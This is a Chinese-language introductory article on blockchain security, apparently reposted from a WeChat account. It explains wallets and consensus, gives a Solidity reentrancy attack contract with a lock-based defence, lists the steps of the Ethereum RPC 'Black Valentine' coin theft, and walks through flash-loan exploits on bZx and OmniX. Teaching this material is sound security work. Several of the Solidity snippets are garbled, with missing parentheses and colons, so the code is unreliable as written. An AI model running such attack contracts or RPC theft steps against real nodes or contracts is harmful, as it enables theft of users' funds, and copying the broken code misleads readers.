区块链安全初识——重入攻击与闪电贷

admin 2023年4月11日10:44:03评论23 views字数 8245阅读27分29秒阅读模式

基础概念入门

区块链安全尤其是合约安全,关注的核心问题是代币失窃。

钱包(Wallet)

管理私钥的工具,包含一个软件客户端,用户检查、存储、交易其持有的数字货币,为各区块链设施的入口。

冷钱包(Cold Wallet)

脱离网络连接,将数字货币进行离线储存的钱包。

使用者在一台(比如旧手机、旧电脑)离线的钱包上面生成数字货币地址和私钥,再将其保存。

冷钱包可以不需要任何网络进行数字货币的储存,因此黑客很难进入钱包获得私钥,但它不是绝对安全,随机数不安全也会导致这个冷钱包不安全。

此外(比如泡水)硬件损坏、丢失也有可能造成数字货币的损失,需要做好密钥的备份。

热钱包(Hot Wallet)

需要网络连接的在线钱包,要小心不要误触钓鱼网站导致私钥泄露。

中心化的交易所或者钱包也不一定安全,最好是在不同平台设不同密码,并且开双因子认证。

助记词(Mnemonic/seed phrase)

私钥比较难记,所以专门有个算法把私钥转成特定单词组合,便于记忆。这是可以互转的,所以助记词等同于私钥明文,不建议电子存储,可以抄纸上。和 Keystore 作为双重备份。

有很多钓鱼攻击是伪造 WalletConnect 接口来获取助记词。暗网还会卖一些从不同文本源提取助记词的脚本。

中心化交易所

小心庄家跑路。

去中心化交易所

使用门槛高,体验感差。

Keystore

和助记词对应的概念,大多出现在钱包APP里,私钥通过钱包密码加密后生成 Keystore,保存为 txt 或者 json 都可以。解密当然也需要钱包密码,所以生成的时候注意一下防暴破。

USDT

中文名叫泰达币,发行公司是Tether公司,该公司承诺USDT和USD可以1:1兑换,就是说Tether公司每发行一枚USDT币,公司账户就会存入1美刀作为保障金。

稳定性爆炸,现在已经是所有主流交易所的结算货币。

当美元贬值的时候花人民币大量囤入USDT是可行的。

抵押借贷

比如在 Compound 平台,抵押 ETH 借出 USDT。一般来说可以借出抵押物的 n%(例如:60%)。还款时,需要还出借出物的本金+利息,赎回抵押物。

抵押借贷一般借贷时间较长,可以选择合适的时候进行还款。

闪电贷

区别于抵押借贷的两点:

1、不需要抵押物

2、必须在同一个交易(transaction)中还款

所以对于借出方来说,闪电贷永远是安全的,因为借出和还款必须都完成才生效,否则交易失败。

这仿佛脱裤子放屁?那借出有啥意义?

其实不然,不要用传统思维,从合约的思路考虑此问题:

我们在交易的头部借款,在交易的尾部还款,在两个过程中间还可以做很多事情。

共识机制

有四大类。

区块链的本质是分布式账本,每个节点都有全量交易账本。在去中心化的场景需要通过技术背书,建立“信任”,保证记账的数据为真实的。(除非攻击者掌握51%的算力,这几乎不可能)

Proof Of Work(工作量证明)

率先计算出特定难度数学难题(nonce)的节点(算力证明),比如hash("Hello World" + str)的前17位是0。

获得记账权,并得到比特币奖励,也就是所谓的块奖励。

存在大量电力消耗和低交易吞吐量等缺点。

Proof Of Stake(权益证明)

这个机制其实发生了很多变化,只说首次应用:Peercoin。

新币依然在PoW的基础上发行,采用PoS维护网络安全。

当创造一个新区块时,矿工需要创建一个“币权”交易,交易会按照预先设定的比例把一些币发送给矿工本身。

PoS根据每个节点拥有代币的比例和时间,依据算法等比例降低节点的挖矿难度,从而加快寻找随机数的速度,缩短达成共识所需的时间。

比如拥有10个币,持有了10天,计算权重为10*10=100。

其他

DPoS、PooI验证池、拜占庭PBFT等。

RPC协议,Remote Procedure Call

允许某程序远程调用其他机器的子程序的协议。这个在Web项目里也很常见,古早的微软也有很多利用RPC导致内存覆盖的洞。比如MS08067?

以太坊RPC接口是以太坊节点与其他系统交互的窗口,以太坊提供了各种RPC调用:HTTP、IPC、WebSocket等。

在以太坊源码中,server.go是核心逻辑,负责API服务的注入,处理请求、返回。http.go实现HTTP的调用,websocket.go实现WebSocket的调用,ipc.go实现IPC的调用。

以太坊节点默认在8545端口提供JSON RPC接口,数据传输采用JSON格式,可以执行Web3库——web3.js Solidity编译器 的各种命令,可以向前端(例如imToken、Mist等钱包客户端)提供区块链上的信息。

大鱼/高净值人士

指可投资财富(如股票和债券等资产)超过给定金额的人。

巨鲸

持有超大量加密货币的用户,又称超高净值人群,出手都是大笔售出/买入。

韭菜们想赚点钱就要时刻关注巨鲸交易。

HODL

由hold演变而来,意指长期持有不卖出。

常用在有利空的情形下,具有坚定看涨信念的人鼓励人们把手里的加密货币拿稳,不要因为利空而害怕和出售。

FOMO

fear of missing out的缩写,盲目看涨的人追高买入,后果一般是被套。

Solidity语言与漏洞

比较全的特性+安全风险总结:https://solidity-by-example.org

推荐初学者在Ethernaut闯关游戏测试链学习。

hello world

// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.17 and less than 0.9.0
pragma solidity ^0.8.17;

contract HelloWorld {
    string public greet = "Hello World!";
}

数字存储 加减

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Counter {
    uint public count;

    // Function to get the current count
    function get(public view returns (uint{
        return count;
    }

    // Function to increment count by 1
    function inc(public {
        count += 1;
    }

    // Function to decrement count by 1
    function dec(public {
        // This function will fail if count = 0
        count -= 1;
    }
}

漏洞目录示例

区块链安全初识——重入攻击与闪电贷

Re-Entrancy attack

假设合约 A 调用合约 B ,Re-Entrancy漏洞允许 B 在 A 执行完成之前回调 A 。

关键点:solidity有且仅有一个的特殊无名函数fallback()回退函数

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/*
EtherStore 是一个可以存取 ETH 的合约,存在重入攻击漏洞

1. 部署 EtherStore
2. 从账户 1 (Alice) 和 账户 2 (Bob) 各存入 1 以太币到 EtherStore
3. 在 EtherStore 地址部署攻击合约
4. 调用 Attack.attack 发送 1 以太币存取 (使用账户 3 (Eve))
   可以取回 3 以太币  (从 Alice and Bob 偷到 2 以太币, 加上本次交易发送的 1 以太币)

怎么做到的?
攻击者能够在 EtherStore.withdraw 执行完成之前多次调用 EtherStore.withdraw

调用过程:
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
*/


contract EtherStore {
    mapping(address => uint) public balances;

    function deposit(public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 检测交易 balance
    function getBalance(public view returns (uint{
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 当 EtherStore 发送以太币到此合约,调用Fallback
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack(external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value1 ether}();
        etherStore.withdraw();
    }

    // 检测交易 balance
    function getBalance(public view returns (uint{
        return address(this).balance;
    }
}

重点是 withdraw 函数。将发送者的 balances 和 0 比较,然后发送给 sender 。发送 ether 的函数是 call.value ,发送完成之后更新 sender 的 balances 。

因为发送完 ether 之后才会更新 balance ,所以让函数卡在 call.value 这里一直给我们发 ether 即可,做法就是 fallback 函数。

fallback 函数

被执行的情况:

1、调用合约时没有匹配到任何一个函数

2、没有传数据

3、智能合约收到以太币(所以要设置为 payable)

攻击合约利用 fallback 函数可以使受攻击合约在任意位置重新执行,绕过原设计者的限制,从而完成一些不允许的行为。所以含有 .call.value() 函数的智能合约都具有重入漏洞。

区块链安全初识——重入攻击与闪电贷

防御代码:

设计一个状态变量(锁),比如确定余额实际发生了变化,再触发变量 unlock ,防止重入调用。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _; // 比如判断余额
        locked = false;
    }
}

参考链接:

https://zhuanlan.zhihu.com/p/368612227

https://blog.csdn.net/weixin_43742184/article/details/122706217

智能合约安全

以太坊黑色情人节漏洞(ETH Black Valentine's Day)

2016 年 2 月 14 日第一次进账,2018 年发现,数额:47865 枚 ETH ,价值 2 千多万美金,总量过百亿的各类 Token。

原理:利用以太坊 RPC 鉴权漏洞,实施自动化盗币攻击。

具体打法:

1、全网扫描 8545 端口(HTTP JSON RPC API)、8546 端口(WebSocket JSON RPC API)开放的以太坊节点,发送 eth_getBlockByNumber、eth_accounts、eth_getBalance 遍历区块高度、钱包地址及余额

2、重复调用 eth_sendTransaction 尝试将余额转账到攻击者的钱包

3、当正好碰上节点用户对自己的钱包执行 unlockAccount 时,在 duration 期间内无需再次输入密码作为交易签名,此时攻击者的 eth_sendTransaction 调用被正确执行,余额窃取成功

解释:

1、unlockAccount 函数

由于有些人的keystore存在节点上,为了安全考虑,状态变量默认为锁定,正常操作时需要执行此函数解锁。

该函数使用密码,从本地的 keystore 里提取 private key 并存储在内存中,函数第三个参数 duration 表示解密后 private key 在内存中保存的时间,默认是 300 秒;如果设置为 0,则表示永久存留在内存,直至 Geth/Parity 退出。详见:

https://geth.ethereum.org/docs/fundamentals/account-management#unlocking-accounts http://cw.hubwiz.com/card/c/geth-rpc-api/1/4/5/

2、为什么第一步要遍历区块高度

如果执行 eth_getBlockByNumber("0x00", false) 报错,则说明当前区块不是最新的,那么获取钱包余额就没有意义,因为余额不准确会导致 eth_sendTransaction 调用失败,转账就无法成功。

类似的问题还有一些潜在应用:

比如 RPC API 如果启用 personal 模块,就可以通过 personal_unlockAccount 暴破账号密码,得到密码后一次性解锁+转账;

比如 RPC API 如果启用 miner 模块,就可以通过 miner_setEtherbase 方法修改挖矿的钱包地址。

参考链接:

https://juejin.cn/post/6844903580973924360

闪电贷的安全问题

一个简单的套利案例:

参考:https://learnblockchain.cn/article/1928

有两个去中心化交易所 DEX1 和 DEX2 (注意是去中心化交易所,二者区别),均有交易对:ETH/A。DEX1 中当前价格是 1 ETH/A,而 DEX2 中价格为 1.1 ETH/A。也就是说两个DEX中同一交易对价格出现了偏差(DEX2 中的 A 价格高10%)。

那么此时可以:

1、在 Aave 中借出闪电贷 100 ETH;

2、在 DEX1 中全部买入 A(为了解释原理,不考虑滑点的问题),得到 100 A;

3、将 100A 在 DEX2 中卖出,得到 110 ETH;

4、在 Aave 中偿还闪电贷 100 ETH;

5、获利 10 ETH 离场。

实际还有很多别的点需要考虑,比如池子深度(A币的交易量)导致币价瞬间上涨等问题。

经典例子:bZx协议漏洞(前后发生了3起)

1、黑客用闪电贷借出巨量 ETH(比如10000)(这里其实使用了重入攻击);

2、用借来的 ETH 全额买入 sUSD(比如 100:1),因为买量巨大,以至于 kyber 中的 sUSD 价格翻了一番;

3、bZx 此时认为 sUSD 价格翻了一番(bZx 协议漏洞)。此时黑客在 bZx 用买来的 sUSD 抵押贷款借出 ETH。因为 bZx 认为 sUSD 当前价格很高,所以借出了比正常 ETH 两倍的 ETH(比如20000);

4、黑客用借出的 ETH 偿还了闪电贷借出的 ETH,拿着剩余大量 ETH 退场。

尽管现在很多 DeFi 协议都使用了相对稳定的 oracle 来管理价格,但是价格差一直都存在。

略复杂例子:OmniX NFT 平台

参考:https://learnblockchain.cn/article/4938

攻击者地址:0x627a22ff70cb84e74c9c70e2d5b0b75af5a1dcb9 攻击者合约部署地址:0x23f8770bd80effa7f09dffdc12a35b7221d5cad3

1、攻击者先从 Balancer:Vault 闪电贷借出 1000 个 WETH,然后花费 16.505 WETH 买了一个 BeaconProxy 的 DOODLE 凭证。

2、接着攻击者又从 BeaconProxy 闪电贷借出 20 个 DOODLE 的凭证,之后通过 redeem 函数取出对应的 20 个 DoodleNFT,至此攻击者的准备工作完成。

(洗币准备)

3、攻击者创建了一个合约 0x23F8770bd80EFFA7F09dFfdc12A35B7221d5cad3 把 20 个 DoodleNFT 转给新创建的合约后,由合约去调用 supplyERC721 抵押 NFT,获得质押的凭证 NToken, 随后调用 borrow 函数借出 12.15 个 WETH。

4、攻击者调用 withdrawERC721 取走质押的 NFT。

接着就是此次攻击的核心,由于在 executeWithdrawERC721 中需要 burn 质押凭证的 NToken。

但是 NToken 中 burn 使用的是带有回调特性的转账函数。

所以在进行 burn 的过程中,攻击者利用这一特性重入了合约的 liquidationERC721 函数。

5、随后攻击者在清算逻辑这边偿还了前面借出的 12.15 个WETH 并且拿到了对应的 NFT,此时处在清算逻辑中。

在回调中攻击者继续把所有 NFT 质押进去,并且重新借出 81 个 WETH,如果按照正常的借款逻辑合约会调用

userConfig.setBorrowing(reserve.id, true);

记录用户存在借贷状态。

但是攻击者在重入调用结束后会继续走回 executeERC721LiquidationCall 剩余的逻辑,由于在重入之前是全额还款所以可以通过

vars.userTotalDebt == vars.actualDebtToLiquidate

之后会执行

userConfig.setBorrowing(liquidationAssetReserve.id, false);

把用户的借贷状态设置为 false。

区块链安全初识——重入攻击与闪电贷

随后攻击者单独发起了一次 withdrawERC721 的操作,在提现的判断中会先检查是否有借贷的标志位再去判断负债多少,由于在之前的攻击中借贷状态已经被设置为 false,所以攻击者可以在不清理负债的情况下取出质押的 NFT。

区块链安全初识——重入攻击与闪电贷

6、最终,攻击者又创建了一个新的合约执行了一次相同手法的攻击,归还了闪电贷的 WETH 和 NFT 获利离场。

总结:本次事件中是由于 NToken 的 burn 函数是一个带有回调的函数,导致攻击者可以多次重入合约,从而导致合约的记账出现了错误。即使重入后再借款,但用户的状态标识被设置为未借款导致无需还款。


原文始发于微信公众号(DigDog安全团队):区块链安全初识——重入攻击与闪电贷

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月11日10:44:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链安全初识——重入攻击与闪电贷https://cn-sec.com/archives/1666032.html

发表评论

匿名网友 填写信息